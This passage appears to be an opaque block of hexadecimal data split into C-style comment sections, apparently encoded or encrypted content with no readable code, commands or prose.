c173dfa0e0efb9da4c454f798084600a66cfa72e2b6b8939184c5fad6df2fd5cb50a27ed2b88f1e0ed6cc4d737e537d42e06127f57fdb8bf6ea60638ebea8a81ac96c523e1462ee0b195f13e1ff7dc72fd0bdddd114c9e77b7983b731d39f49f553e0c2dde44392c8899f85d321eb222abbc038529ef6539042b957c2203710a436092dc664afbabf824c637a01083001c6550edfce3804d21083996e345aa724ce0b60e1d3dbb8f333475887239ef99b822e755001c2969c605659648ddb0a2b1edb32a9f4e5abdfd15710806f1d21e02d8eb7afd17e9a646ab5388e77e867e9fd139d4b761d5f1668d67e50a6e9456f9de717b52b28b8eb9ff9ebe93ff45e66295eff20f61c5d1e5f553f382b4c510051aad85e5bd38dee57361d894b3ae5c5737547e1844463641c6b218a83b2ab50fd746b7a59ba9892b18f6564250bcb28c1cb1a031e5b1922100a0c5ac0f8b26d2259437092a3eeb4c39a5d6471171603ca8fa7fa718ade98939e5294d07839aa2cf01952c2a36662985fa345d2ae620e8e950634b64551e84a4fd5ef0beafd440284dd995ba0375794ec34f33ee3e983d22db98e4126056747e221873b4a0104ae6a7abc58004f38070ac3709a1e304a3074433a218a612079688ce789cc81249ab6e1a4527533f5f4b6b3edfecc84a6f14989372f907bfad01be2efef9770dbe1ee179f3376254c83041e034fa06a66031447bed99601e7c548f8aecc4eabe834e7074ec3cc41a8cf03a65b05babd13ea987ddf1811d78fea0b13159fb7fc301a06186aabfbfb86d25dd424bc7a38fa713fe4a5c34d3d6296c7d05d22ec6282bb976d3589eb31c5b640c99713e491399c504d16cf66331b2713f47ac5d4f81de1bf8cc65ac0156ebc5f2a60b8005a63911767d1a83928bdc7f31c99716ea1e31d9f01da445f66cb5bebd0727a3baf02b5c42dce6ce0d1da85161daad74a64238e8ca98e03def14c8d5468f68abeb5a4b6df76e2305e6a1a2aeb2e297223afd63d04287a12fa8521c04ef76b5d0a24d2c248ff08be792b257bc114dfa9c0673a1023e7f0461c535ff33314b2813598c15548492235146cb3ae0e69ff74625f441141d88048882d9a9cc98ed0e836ddcfeabab6e0c2214b89034aa6013b873a8d7361b1f0a02c3605ec2c519cc6025f5c1fc7108b53a53fdb28496f85ad1fbb7d1f574e102155b3651bb8c4ce6a233660badee28081bad7d3efc57ddd6d9b2107eed20df8086c25bebee30e52d5648de9e89127419170f1f8de0c895d664c59368365a76f108f2e979fc6a6c817ca74c84bed3a61838c679fabed6d122650bc4dca0e615712ab81b1b0a*/
/*3e0482062b0bfcf13589971e075f8de86ae895a3fceece26aea1fb989b45bce942f89dc4443e56ceb7174ee9fd3bf9715f756c439c0e52b4cbc6654fe24e83ba90911f6f837baa06bc7d59c8f4814fb6d711807dd500789926993d6738ee36cd2bc5e834a9fcaec27b729c47ac540cac12037830ba416a42ab44bb73a71c834cacce71ecb3c20e134a659b62bb84767aabcb2f5b23b5114f836b4c496243c94034c9290a2ae4dd3e265430ab4cb7e92d7beb8546fef2811a95df64d96ea7f07c653a8fdbdc1c59cb215125e1b0be896b3e56d454d921961e2dcbf952f1e76cd650b713e2617f0c92731da307e5e7e866ef993692c366ce6f76936774f78372dad7100f6fbb919a5162ed40cbb19d51878713312f20ff590a38a35e186df71d2ad2210ac754e4ce60eb0f5923f7b46a824b6711f432092404153ddb55ddbfc9332436af38de3a7aecabcfd0f61c9b86adc91043c030a3a8202b5e3ab12da74c995dc9581861b8c6191d2d0e23cb88a9129cd9c31a881004ed21765d4ecca2b1013f82115a27275c1ee33f5c3e9c277a1933fa4516c318d340e1de37c8f55d6f661c16f1fd30ab05c1d74810b952757352ec0c4816235311b3d3424468ef4e49e7b4238ac12c49bf96b11b9a950affa7fabd3ef0b4db303edf7b298492ce9d2b877315176c323bafc3a7f8dbe8862eef0503e33bcb6daba5ccd1c44c1c9479f5c5f488cb0ba40c3e70ebd823cdebe351190cb3be77a1a3f7b8c7358c5cbc6e6e8a0e0f8998ce4feff5bba608534a6e6c7e993cb8a77084726027ec30b43836cf3a3801415482c570e9e6ba078612a920f8fb745c26f18ccbca25d1f04c4fb4f816a4b8ef3ed76215f9cb85ed67bd8921a59d3b3f3e96245c6a5177eee740ae59b777306d920ba819eb9fced34e158c9946492f91c71ef7616608e30f6423e13cd67724bebe2282179722ab4454736e801e7763859026a105d94209475e9e74efe157b671243ef5125def7c07762a451f257cb5dbba3e9f4410535f3d91dd44913dcc0d796cf6c324e4f9037eb940323d523b81169b2da376248765b4e23da591ddb6c17e41455da8f0361a5393f1ed276964764d19514a83f99631041a02c76f14c3417d4489168c7946325c36714f8aa8abe5e6a38960dffe80b8e1b725d22024f1e215df5e4645d62d4ae895555961631d3ad6fb9bd9a079f58ce4d1f4b254fdd4252fe6a38d6e125cab087da8f79d746e5fa2c13fa73242bbd08797b29ce9f23d9052e9675703cd1c94a396064682040bba6e8164572441c4a8c2e6417c40dd8d5ccf12e2240a722943f75893984df8b9358375245f75defd860ceb942d66e9446f368b25d9e9aaad2b651828925af9e7cce46c4c4c7f2fd7e5ede1b7f1814e826dbbe11dc2a59104af7b091b7aa2f49c505748f619201d4de46c8d0717dd2c67eb3b8f9c5cd1e42edcb79d496240c4e13695133efd4efca4e53fa5a70e8703d89bb6c7a431381fd8ebf94ef8d4112d270e6196424e17153c0df886f3840b9adfc594b49f0cf9498fcb93da5fceb01bd3197cd37ff993912a975cb32468fb6b1b696b5e197f64b62b5a3c8de8b4f92d9800944bc198e3683ac11ca88ba16bbc6daa84984458aada23d1983626e1dcde777659733919cbf422c3658f6058514629ae456fa41b4a816499c7d4bf5bf44e0ce58de211ac76600fe7aef98c7825cd5e14ad533635aa634d60cc7e43da5fd1bab6d3d26b112acaef0d076b71413a3870a9e8c25a61e072147f8e71bacda927572de5163142607d530eba18eba9eaaf2c128a2b25391924901fbbe80d9bfbd299a6b80304cbf60fcac34dddc34214077b7f324cd8021b89d14ae9ce13032dd6e62c3e76f309051c8619f50bb56598bca39d9c7206bbe90e423377ebbfb7abf11ae4df300c61275a996a9d4d087f705d627e329f3c911b57c65e8f062dd2f1361557496318de61fc2acfd91204769236b1897574293d2927980a67acf27eae967c75c6e7b38d3340c70799d14ec728d19f71477cacddf8f1db94fc4927c3906afe6da89f5f45cb36abea4972a7faf69cca44187e11b27213786e08ff9040dfd598f87a192dae0d6ba52a53a9a651e2d25dd0c00fb52fe05081a9141c294c6ed71c04544a74d1dbe52e7fb2a692dbf885ca3d4409e5dcf74ced85a2c8e1b36228b75d31fa2eaaed005c71bc453a7e680f34500ec8e867cc88e22625bfd6d16895f6f7bb7debfb8adfcd4ca9b0d17c0d500a8d8bb1140b61fd1ac0958da60eb17b3985a6514be2e02c5e5cd1a595d8f796b9b79afa590aff2cdd42740a61601fce898110ab2d07929a8c762144582417467492c2b72359087e4c732545b2fe5b79c680f3dcd7484fc2307571ce0bb23b23f433a3fedec387a1b65c89d90a969609fb49b4e8fa025e0beab84ea59ccf71e9c86149fae6345f66a9c9a8a194599f1a7459f94a5ab531baa4f9867e3097df5769563bac0033eb126675be29f2b3b777afd4a9fbfb9402e46b1816320fa7b8f78a8796f7c34e0ca00360624154e79b3af0c637123ec7cca39b9bb5f840a91a2510378365e44a091c367eabf4d95b77080ace66882a321be9f4709048d4121d44d17a1a666875d4aa3abe5f8486693d82a7576d039817c5c96c4b434529931940d42162760f0b77950d3033423829cb1df5e7ddb4a29df8acb1ce07bca0e343a20d1f8c10067c5059677c03a1b25f768507f2deeb49aa40924200c3fe89e3a82375f7dba1a748f6c2cc5c89acf77e9f5fa93d85c61862b0ee764fc1570fda7588e28129ec4399ed1485a0f2fc7963398e*/
/*4b7383d9af74949f3d10fc0bdd7422ab2869939cb2a450581370b3ce6e99f58e044f1a4ea5745ce0f7da7e66c1bbbbca223918e6c84ac55c5403c6969a0c1a37d50623bb3bc533b89d42a2808742bef69bd08cdb664dc62c02082544b56cccca39031514732eccf91d05d3661ba8c89942e0ee9321789dd8c7eafd3ec341c00d84979de30adc8527c2deedb4ee47c5ef5299ae98062dc6644e2efb7b0276970c71ee5cd8a896e7a5d4a612a95db72b40017204889ffc5ab6014aac2fd51d48209e40939a107afb4c62e2b795a574151fc3714f67e254429f6d92e111e3b6cb9661917803c92f726d5946bcf1f43a232af4f7d144d1b96c6adb01ad21e388d3aab28fa7d9bf559212426991202a3d05011426342e7630d9719522af5657f4d7cb75ca139e472ca267f8af8687b17a0eded17674e3c22734161342e4056bd28394c26b5a8d45fcdeb6e55b58b0409717575be3c0e03173b4385c46a5914969d99de9ee80f34e245a62cbe362ec0f138c6f5fbc6909f759a130caf535ac26dd5cdc0a2170f3d8a5878f4c31bd0fef1c17b39cefcd06c29307638e266212c1f06a957093a487a2eb85e018085505eb33747279737f5efe786679723869322b6061540d4116750755566bdb95b562501407426a0e8f9f40f8e21fbeaff0e6be89d2f779704c98ed6c82df6d269e3f67fde10d700ab84eeb0f4dc960974f4393c4a8333d1e7a24869833eace4068e1f6051a671dcaecb587ad52156585daa8e77fe49ab2e72141c9ff2091158a344da14626eb5518c345c87c81105e7d19345b455e833a7f7be7e0bb645bd19fb0637e5780c51d4846aa426f7044d0ecc24e3324d675ce4c2547bda2defb90d64e278c2b03f49182a56d8c6d91814509c30dff0fe80423a921c96ff180805a629b3957cd372bb09faa6d83641f60200b29a76f5b2b363185c16979aa89b25b4df2f03813cfbdf1c0964afbd046afda4b132ac65a3a23f3e635036ff87fd8e0e84e2586d3c10e7872915662eafa33d05d34bc43f996ddc5909f8bee5d7212f72f8ce3bd98b3e32169e7d0f07a45ecd5bae6be06d67f26d8a1ebf6b206a808913581cc3c039391383fe4ac59a579d245c3802e1bca6571a8b1838c43999a42dda173871657be2912d584e9af11a6900fdd50fca482184b1c9af27825b2c43ea2de5054c954b639e1a69a76cc17e9cd1a3cf81873ba2612346e5969d766193e246090bf7dd37bf174e19d43c5e591233e4b0fbbc49a274a8e4218bab28536eac9a568a38f101a4a3a96dbdfe3a85b032cd2a37b8a9690e8a88141b9f2b9011438b176eb4c38248891f91ac98dc4e7df11093761025e873b2d73a4b04926ec58e5a64a21aefbd6e8ded861aa4b4b23040ab442c91ce444897f3dd80527cec7bf72ecc0a339d161b781bb37ff3bce20f4ce03df3cf34a2de4e85c062adb748a921934234eb82ae9574eb6ec031067cd10e9b535431f0880c6d27ab1698bbffc0e7d8f0378120061dc587ce97fd9261663ef926461603ae3b04e57c09811d3a868ef3a490482a3e49a86cadb8be48343bcc1de9d0392f3c2d571ab2a89735934cb950f9f7ec8968c1ec690276ea6afdf02adcec958b65f7a8298d8b19c2168966f73d91e68c618197d6686d8224746e4ca23df4cac6789aa17c63e825985c4009c545d05ad34c950b43ebe52c4e76b6a61d2a89f00154dea2a81aa10e9d6f5ea1c849a2f5eaec69e71573d841094627550433557e3a445670e0da3561d7a819edccb61cc83fad5a95cd18910c74f0e7550af0b0d53de26b507c3b14d37d18c560f64096f713ea739ef1687a3059243f770dc6074fc7d1aea1880fd3c164ea457dee97e9ecfa481691e6fc0137f4072e4910ac36e5c9e32f99f031a899941545e0196477f4875ea2338c52d1e00b48678ba45bc85224aaccabb3ad462da037f8522259e452fb9d78083bf6d50b3ca06a500159953d40d3c9245e984844c5d45374e843a80aebb9f9dcdebc82805cb7d253c6d548565eb2aabf05ca2e30c48ad757a092a98c6c6585bf6ef3bb07319ee9a87539643ba40e2223f47a476ab6830eb61067e65445a586a06583cb3a26412d9890e01f5bf279e4fec5b811d1814b4b28e5322cd1e8d473a6f05be584bee225213f7cabe7f0dd73068d84d3da6510e06b587b9d84d993c027506e9d93f93a85b59b2292712b760f1103111fc40c60103ba69368296e58d5e04ca1148c1d0e241e0648d3b283b6ab0f7355cc468bdf37d891951f498e36634ad69fc11569cc1b58df51e4496627f42e677154300922ac7f8c4374794348f0e070c16f7f66f9dafae2d640e06654a5d1b87c9584395609bf4233a8f3f78b2051e3c62a0c084dfc9b30a38636bf37cec6d4ce2e31a4bd0bdb65b6288b8ff40b9213ec0d0c20a398b71760478cfd782b6dc9b88abdbd051477b5124c2746a2ff028770a8bda05f1d3780b315eee4f72c9acfa84fce67b3ca39c9238a5584d54e231683503a250e27a6b16bbb736db8d7250b8eafad0fca0753a1404cfda61b0dcd8b1735e2b9681b4bea17f18b805e27058673a4e5afdd927904bed6535217829a232489d8c52009681992fd39ad60bfcf7939cf94c7b448f619ef29e4e076cf166bd0bd7f83b5e76e61a40e6efc878c76e16e5448ace0e480392ccd86347e312419f6fb123937200b9f0d3ea3c0bd0f0367291456d041cdeb3061cb37f1a0729888baffcb7617070d9a8c7f1128bf0fc408b3bdd3b6d70c1998fa75f39c93fbd0830e0283da55fe0290acf44b7d65cf461f08c01d5e88fb302dad70641e8e05ca8*/
/*6195fd03b9944e14be839df092ba8dea1cdc77a28386d339744dde45240b63e124c80850071b8ac23884b1f34d2dd943c642c3e440583f83acf79bf20972082667532bf52644882efa0cd0bbea7cfa03fafe4e91e0df746563825d46e8f2268756638ed31e2bad4a6983eac125d71dd1159ab8bd646470f5d608eebd49967c95b4b4ec1428cdfff789d4e64017bd9105bc443114af74f652b57545ff4106c7f2a51a9adb6f9e66f5f3a2d4438cbd6c0a00fde368a80ae89f61a21d4a2d6828ac15e374fd6332f117fb9d0c0ec8f2242ebfd5947a7a180e144128f21a4ae2454442e27dd196165b4887705a6c4ac8a4233bf6e0a39e63fdb416d4d45e5c8577d7b67825e1ba460f178982062e3d28b0ef30814f5696132ff2435fabe847724690b2403ff85b6f5917ecfb60bbaabcf0ec9c9c7414b2e8941c0046d14eb350cb814bacd9e7a9ef0eb956b34addc4557cc63ddbf409d397d744a8f8f1ddce2996f5441198abd11d0097b3528737b2f48c6c7dd03739ac221290a5392587d2a219824e4601394def26d0a58092b587aa727b421d9dff9c389718c02055aa98154b5de65b062c409f6abd8576c1dae952490746caacf60c46cc3bd62ef77729b93a5887283360f69c552d158097522de80c1e20f17a37e5a168d1a7d5c55225fe05b3def731157128f9da74d1b3ad0e55910a2bf4e663f3640f665f17155efab185cda9ec3831816af7016b71ad29bf225fb04094169f6c993b593dda750ec7b09354b4ca8351af0d86e3c5a3b4cf8fdd6d384142fe68dcd55b585b1754d253b061ed136d4871391c5c9fa72a3a17c1677748c05f0b2c3f6babcfda877bccd7b23668c75bbf8087b86545e1e72b0716110e921829c5f6b9b7687542628737f4a4b18744d9de13bbf308dfc9a59628f1e4bbb18c02b3a7c8bc5453e528ec668ee21e2a44553faf61bacf583bcefa0ab329edd8888c893faf9287f92d73a613d16dd5033a128cd73f0d887bcfe870caaa233dffd0a86eb5e0a9894892b6ec8c5d197fc1a20d3d3fbdea2c169cb9f13da92093c0d025dc4a0d10340f622d8d4c2304aa6e1625de571ec81270af0425f554e79338f0696baad8a33e699a04a986fba778163fc2dd3593700e71d8c0123255b0069830599b373b1a25629ca26e9864dda21d19a231e359b6079b9413be3f0858601074ad9400485b9d41978afb33816224173c0d413210dde345eae6d4dca8a58226307bfbe3cfe593c599fffbfd88c782de40c1b331084b7220f01bca787e099ca8f60b619ef4f373f484c38c12c38dd3ba8e9c3822198aec8f92b00694039579be7160ecfd40015544d3643ebfaf7c83777d17517673eac31569de71e506f364b452df4a044e04eff49212dfa8a924b1f2b37f438d6d5996953f84eab4852eff225a356a44601a8af3234ea8d033f6b02bd46feb2e5fb6849063c25feb252ce3beb3ff2ec144f8f80b4980d542b69ff3670677c66a317ddad8c360255efe1f56f1db71415db418218584fad077dc03ba3203ff9beca35a880e789b7d218705876b837c996e53a652b4094b3016721c00efd7918d712eb264c6a7baf2c33825f2fa2a4312fe43ad05ade7f6e8804c8b209e63ca3868cd61f848660249fa690d377cf2c17dc6e56b7f99e39e63a6b389dd3de3221e6edb2851c58dd46ad636d829491caf24e131df9b2115b35589ff6b1dbd725e2c352df4b0ac65e0bf2cd24f9174499d3aaf44f060425734b9b0cfb0ac348872cd083ed422605b554f33a57bd22b26c6125693b2ca69b8d384aa656b717053d8d7760b1a3ad4da24bffc2d34ee895b4c6a430f3cd5fa2e36e80c56c3bff89117c3b6c523d31d397cb6c784f2fc47f755efc53fa6bc0de0d757c50e574bb277fa895da88e53b1d6e558e26ead1b1ff0a39d6a9d21bfcd240643ab224c4752acde37694f92b48021b4b3f1ccc81b58c603202675f97c96d5b1c2b3d0f80a70c4a8693d7fb1c690decaee195a52ac045faf5a73c50061ef61efb30b5178ce059bc446f2c574a1a627691bdadafd128b8a558f6e14c3af26827527a00eec25871a86423ef759e4e089e542b9c01d0178f740c5a22c71435227f0f78703367a0a6955ddf6cef967750811bf65029df9e91b07be15b9b350d40c9a881f6b74eb143ee527506c5fbf8714210a26ffc074dc962d3931ac3ad8ed09322285b6ddcd6c19908fc5ea393a01db5a5e38f43a7d7b9b0e33abb22070fb9b8672413902e969b479ef76721de1d1f5858a263cea646e41481ee8e42e7bfa247cc812038d2444fa2a8958be75b22c76ef610a88a67fa084791fc93a996afaa48bda08b8aeff3b080ffafda089948143d766c97b3933f46bd9df41f11e5cb067465628ef7e64d68075deeaa3611c54a15d813d6ceb55fc688899ff55cd5613b9230efa02c6985bbebdcee4a70604de5b2dbe6d66bdb9588989788877909be5a780172b6528c6786ab6757b0606430028dcd2b799cfef95aa787f92f048bb0928268ead46ab9a6ca775d263897e2838f56b26b6de83c4202450ca65747725432b7bc938aabdebf60586e8fe57babf5d5cfa94afd37cb53267494f8ea27b99c7c1b91cdf3405c9cda4dd7bb62ae3cb027cd0974c62c1f62d34cd87e8c18c3880e194437562dad5adabd562a87efebd70b61f86f2a5074b90b7377f60d6b11fede3092d82b454ea4222c9f6289b6ce7b2a7d05a7915f9d000d47c5c46c764ffe054d1470dfbd39028a0fade87d11e902fddfa3d90771ec119bd59654cfb9c887b6f50b0916b143a9ddabaa89fadf981269689a189da2823d3*/
/*38bdca03f945cd95a94935c56e2b7494a9640ded801818dc4175b89b57f2343932daed6dd7baf435048bb4b2f5454b71098799d8af341dbd4be72716f44d3179492fbb15e4029643f444cf0f82e3cf6fff3deac2e5f98f60d614ada594d32bb32dc7db042ae17b768ff90cf63811dde31871a37ad9726ecc4d476090b6debba384e47aa1740b46488fd9722b24abde716988360b8da6543295981e40f6cd01fcdf82a01d88ffb5f3539999fc1ef85f441c13e31f4cfd4f807ca1d960e0035d602c2031a8d9d418e7165abe8d5a8cdc838659309eae6cb8c29783130e82960309089544789d1f82e051f2267e4b806b3eba2009e5a77b2c2f23d3f4a7cfc52909d2447ba013d9e87c850ada51f88c08726cdf41e1747a1833e8f2e26f8c548fa5e88d6e4ba5d2787ea4941ec98807529e2915e6925dda0f507c8f50b0d57a488c59cc060dbd0f0132b785ac11e73c5ad54855db78bd294465f584cfbf53c886d9f2c2eecf580dd196b0adb76314e2ccb96125e635449e3ed86f2bb8b5329179d2a3ccaca9f17436a4e42292fe86837c6b3664244d4be4cb366b13cf7bac4dc204f9f7d8caec947f3d1e26f2af6584c039b878f3440f39142d870ee83da5b873e613c0be389fc02145c734d6885cb0b87700bc5bc079182cc94d01e9c1c8a696660e1e1f61750dc88352702c5f248b05eefa90d5b95e8293308e16a03a211f6c217c1ee6581afc1951816ce59050b6288a29054abfd8fb1f277502fb1dd3f48dfdd1af74415fc31c04c84c7a0ad233561b8e8a1171c2b9ad6e10b539eab59f8ba400b4cd76f630095fd533646a4a1caeb519d380fcc74d7fda92b6788fc1f021ce5aa2a3a0b0e0af1169ac14a0e3b76e0479848e18d40779fd4b41071f25aa2e4da2c8a5c2b08f586260a13247fb3fe285e72c41c4188ff30d32a567e859b2342e66fbc45c3801392f086cd3be6d1c0d1f6c736dde2e669d199cb5c0e941e4a6dfe4a1170b955a9a654d9160ff309bbf639a5f462d0dd3eadf8478978f06a6045d2a7a68ef288c4c5242f2767394690ca24244ae45dc53c35693c6fa75071b9bd20a947aee08671f0ef10f4223eccebae0b4afd754a03df297fdba5c479caf0d4e6689352ffb11fe8cf0e96dc95bdfc08146b2b557a45d2986179ba21a401b71e860a9d57f497672681b363efe25b73319346f79bc6a2ce74d24290be097d427e1c333256bce968eea69887e7d691057a422549adc72130f649fbef6e6316e05ea320dfdce68e50315608bc7562d3b648c7130e61edd3289167b5eb8b2173cf5c574d48c82dedefc5de5432c6e8f07c4e28447c42a61c7a5f74c617bffbbad6325f17557bd2aff4caf7b5f1760943552fd3299f38678bc591481ff637d90e5255815c8dac4f46b8d1d352ac125c204cb7fcd7283b243e73ecfee12255734f804dd8774e0bb0d239550b2e2b6e0d802687a3da29492e69a4e91edb6b65986e2e7073c9af745df6ba79b2083b036990862842f234c52882882d1e1713b4a37cb6caaeea521578b905544e87da81faf926d959bb920d6d0be57950b37da5ce19db6950e92ad445f92e261c31ed9320ffdc77c1e7a72da61d11059926fff0e29002ebda656b99fa2588b3a6ff0623c404b004bc9ec3b84b5bcc4e4d06a574fd1f98a38ac54d10de9f0957b971b4bf44bd237b092871229d0b44ee603423acadcb73e93ab618fe80ec19317775c0643d3828519ae1aa148edc681621842bfee489a54ffee538fc8da8a7b4bd0b2f2c0c216c2f26ac40fc6da3e465cd76158a951599139df8aac4a242f049c3a389b7ce373e53e5546108bacf2ad7cd18e908e3b2eed6bfc0869013c871c72c6e92033bf3528ac5b29d2bf4a7fed49c62d79ffa37167d7bd0ea9725cb25b9d4ed4ff937243fd1f64a6db15c884c2130a77da9d0d6070934e00d867f9d8fadd976bef9430164f128d89e0a8583a2930d320171ea406f724d017cb864b09d53ee01140933c087a6d1a90bc19c964ad09d4c7d13900ca0fad01f6ecd7e2d77574d2019be611758176ff357922bc20b82273ea3bfbf08b849d83d4b52f1f5fdaa7ac49d458276f90cb147df027e6a1f7d5fb0420dd89e08cf27b26c8d6916fb3fd1778a9d85af2410322c784c619d5f468436cb72be0ee431de6de698c19ab2252f8008e1c9d4a806dc4cb046bade3cfc64627ca4e5b668682d16332494d25dd835168e6b38b227b51b6401113e2d7cfe2ba0430b7bdc586c28511f9b57c139a64f210b2dc9265069bb9a6350e704f919c7238b81e746676d86e0bf090499730061f9f95ea8b7a67e863986e77057c97abf04b2b5075dc0cd9e686eef873ea46e36d797861a8f3d484aa298993e2ca2e06fdfa288f3a625c9d6a982bbe8ae72c81c23d1e237bed4b26392976e85da4dbe4eb3a6a5a60ba1b547f1e86b41030ca47346296427fb12b01adc2c1ba2016ae12e8bf8ffda9a836fad37d870dd32e05a0877f3436d5d4e73b041cde94b3d7e7e777a0621036dd1ac3e55a86b1de08d4ace34f942c0fa83126355df398b7a2908e33bf2e8bec24a886edbd55c527dec11a9c454922369462724861f421cc2af041f8d8c5ce407770715aef95ce15c02119fabf09aaeace96ecaac313cb7f7262654d65452b022e8d03a4a7135d4324c0d78fe55508d553bc4f7daa418f31bcb9ccac88babb3e2c7f1db2a946e06187e7e93d21b8be7d2f00a2665a3446a7fdf9413dc39ffa21f63c1507980fd4c998d0f203cce5dfe3a144d495d3933064efa40147d8e9a3d2c28c7fe96f43b8a32e5b53cf36de09653acfb0*/
/*4e818d36a577cbd3aab3e25a92d4a66399ee4f3b452abcc146c51cdc334cfe7d7e40497e70d9017e33b9cfdfe22af7d785046b97e3110d67aba0ab8cdce72d45f363667a098f42f3eb3015a77e87ff77bb89f855e3dac2d29587f90ba3c87094a6e8286ab032956acb40ace27bb229069a6346295f01abe6f7e554eca210f0bd42f0e73346ba33ab3938e187c853e819fb7d81ea9f19e13cb58419d347398e15d8addcfcf0d41e6635f9916574f8cf4097a85a9d6d99853a7b3d4e31c8d2b8504add7bf15656a93d816eff9ea8df97e44b218c49db867b6781dbdf2a1ab327c8fe39edfad05559def66f891ac6f34f0ea1d48522fea258347021fe9c5098ee9e298d7c9460e0e6048882a0908efe963a72d378c65a8478307e4028c231cf3bf9d1e8a35221d51685f1d37f6a1d726c8c797e1aab5deb73e9bb81fd1bc88fa15fb17cb944164552227dc7ddbb116aa97f10d2d6f23fb4cf48b377ac9c26e9f5d9f4183da1027e221c077c295b361c3e3d37f42ddb286e16ee37a08431c0df3fec38fdbed656ac06dbee0b5e970873c05371850f20a6ccd928923ff8f7b6bcc47af51c0dccb878faf38f3b227e1df84174a8adaec83ca73e022a85a7b85f617a1fff5135f3f65ee5e15ebe6de239efe1d34af4e83488660d24701d80b5c931c549a08ca22c8551c27ae69243286849d070801a1d3df14bd189c356034b43eeafa3dcb02ca78b95873502207c72f1f7609cdabca9f00c2be85e5daf4a8efd5174b0d822fcf784e73dd60343054cb6f076893b0288a461316296dd7972875f33cd96148c59858362b734065bd4876206396f6638d030f5ff55fe70e3f799f6306b1a827a7193faec1dd3bda94f9b830029aa8e2f1a090e2faeb32a11087148879d9dec03de047e1f23e4b4bbc6619f64ffc17b81baa0f3d6c3d4c7884eeeb9781f7d097f7cb2f60cf9e7d1c1f98ec68b683312df2fa9b9863dd41084e7892e08e78c244aa363c9d00b7eb6486d66389bb370b32d92421632e029f5658ce84c9af0ca26c6c3819aeb9115bc9ea68ca5a78961f0e04753cefc7ec2e55d570f6aebfdbf910585b909c89ee1c2b76f7013a93632f1547a1b03ed0553e1c18c71fb195d65e079fad8cb049c22565f44fdef7bb94b086d566c838799a7bcab31fa1a6ea4076a45242b5f12d19526fd0a172f253f0af618286ec26f5e089795e27763c2885d38a898f40bd4d245df4dbe1644f8b2e51b370c39dbc239e03af328add30c7f94957fd08f2cb4904b4ad27056184f831580a0cfb62609e33c2401676a290bff9a515e80027044ce7b3084950c93a921bf2e493f0fddf33238ece8b409701928c88db14adee53e4299e800e90df8cf3130d1356e3fd549e2592623cc69af48464963fb7eb92eb13e5eab5410a961f2c3752ba2bc97bb88988f8b198f0724acc56ea39081fdfe19f8448125f0c1d92ee0b5554ed42e21395b7d11a6369e370776a5ba11d2f5d1118051fd6ce6c1bae3b02cd7ea5ec52002bf41673a37acf1f845d28a61f34a63e6ffaff5dea617556caaa9f0e4bbc54a8dda6abc865118734c7a3c941773d21bf615ce294a8e8a5f79fdac9ecf84294a407a23b5bb95a131fd9a3bc8c09c24d5da185dbdc9304c7bfae9bd1c276374744914bf5af2d602ad55d943af89f997cca0d493770a92a19e2300cedc4ee6714546c357d09cff1e1d0df953be8879b972e7ea92e6acce07414f3ac29a8e98463c7bf7648cc75c5f3698e2bc3db7c040cd48d5906746908ebac29b70ffca975409de2026faa5086ffa5a6dcfc64c5a4fa37b14627dbfbf8a97c7cd2ed0f700129494be4302da3d6054efced98c41507f3ccff42e2427c4cfe1ce92f6ec8322ac3cef768b432d5620faeefeb862d92c0454c3fd2b70d52577b89add1eedefccbb8f7f0cdc64c1666bcb2bce2c71731a6c845398ed0ef328fdc155ad7e7f582dfea1a0aa1a1e1589c8f7e7db193865e5d91e1f8308eb0d1bf887f9ea110782e58969f8345dd5ce58a049b350bc5d402d1c32fc18d039239647eb85817da9c478cfaf18fc945fef4e0d43e0a3fc7871444414e50f0069550064883ea5b9f69b1bebc8d7a3d6bf83e092a32b6f755d34dc4b03d67820cca9a6da51cd3db58e1d245d509f63af2a31856485ed80f803417fb2ce9e2fbfae65381efd58dca18b0075ab2c084ff3d999e7246eb77a7d6b8a3ac8d8c4bdab668ad88f96f75a41854e431ba4ba451167f94be80d6aa6e8cf5aa184133410ef5819f82bfe42de061e40bca55a17242781fc5a807d9415c31a54a2dbab78d22122784352a32c7434cd4568bd1c5245fc77e88fa2ed74bd291428f636ab6d1ce0de8316161b8b4e44aa07ff716d9ace1a94797df59500b57c649e5a74796042f4078a6c3d82489fc0c926505c6d5c8457d0f59f655f028daa0e4731925fb5e864b1422c29773e94bac3a38dfc490354ade7a2c7daa7f08b03e73eea32bba1a872465ace8dfcfd951749da599e94abe9133b7bb995cd29ad5e976e94c56fce749a1fc595fd3798bcfe1274e9e3ed923a39f4b0c8038d0606b159ffb14aa9880b0f76a9e5c11d88134db052d8dc8d8f15473f28920a53edacb33d2dbe5da8229469a4bc4e5355c06e7448f77a5a21611192e61ef876e6e4096b3431e002f300f4230f480b35f85df448ae8f66c36e547f7955551657f64b86963dcf306a1d0017d4ac8181b8f40e00ba9468bf46b3b1c9de0f2db4090065306f6d00052efaefc755e4dcebc1f75f3b6bed0b0e756e0ad6236c8e2b6346a96ee97c4fee3eba8e86664142af57521f70a7*/
/*d6d649d8caf8da57b29f70296e8745970c11f52d64e895830a501ec8fc3c6a88a54175edd18b20bc03ffce8ae62add062631cfc676e2645a8b7bb4ccdb3402b11d6661342dda1716900fa16d7d5173ff41ad310acf19aa838959f56bb21161d3ee33d33082e213cfc9345c04ca2b061c6bd416c86ec6569c2807294ad5f8e361a21cbaff2259e22078c848aa69ce3d92a6c86503be67380b4774cd2828657d53bac82adeecb32f51d588b44ae5b40acbb9c670a581f0789df4b271b04c11c6c157ae0bacd7d387792b4d3e96ee6b291dc93d4c18f48a5b911dc0de474adac841ac524cf953e14418b1a4ddc3e91cdf2313cbadedd356c669bfbb75a4eaea1fa30b0495cca2ac7d34952c668fd22647d31c1cf66b1d361c6124d9996e407162655373b96bc0427dc1d21fc81962ccc0c824232e3ae50c1ca9353cf548533db58b00795acff676b9dad9709cb8e7e45ac40c720dd23fb54360d0509502041f74d8cf98e68f6be2224a42d215450fadb63802c3edb168c8f5ad7de5b64615ba8a21789ca15e13757d668a219a9bfe7c6dfdba4d7f5d96eb4f77ae4c9ab21e2fbbc2a2fefd23bf88d007493c497523be79da3f5d18963e22312c28d797d272b00bb2e8cc29e062a759c79fb24e079b667aa62257064ee8f63bb45466010f08ae100cc6a1e51efc587e5a0ac306078c114b205f265a8a880b8b2f3648622d390c50297f7c7ad9b9a05ee79ddd04267940b14f69b933292628ae1c8c63fd5cb50ed9990b963279c18236a74654231be7d9c5948f992df8d7c025ec4d43fc396ca90d14421a3645ff4ad3a9a0dcf23f32977cb027836d23bcdc4dda80b4613d21e92158e975dd118f89d91a1dd137ee6aa6d701ed30ee18081431de16b32f496ecd9c546a8aacc3ec49f2e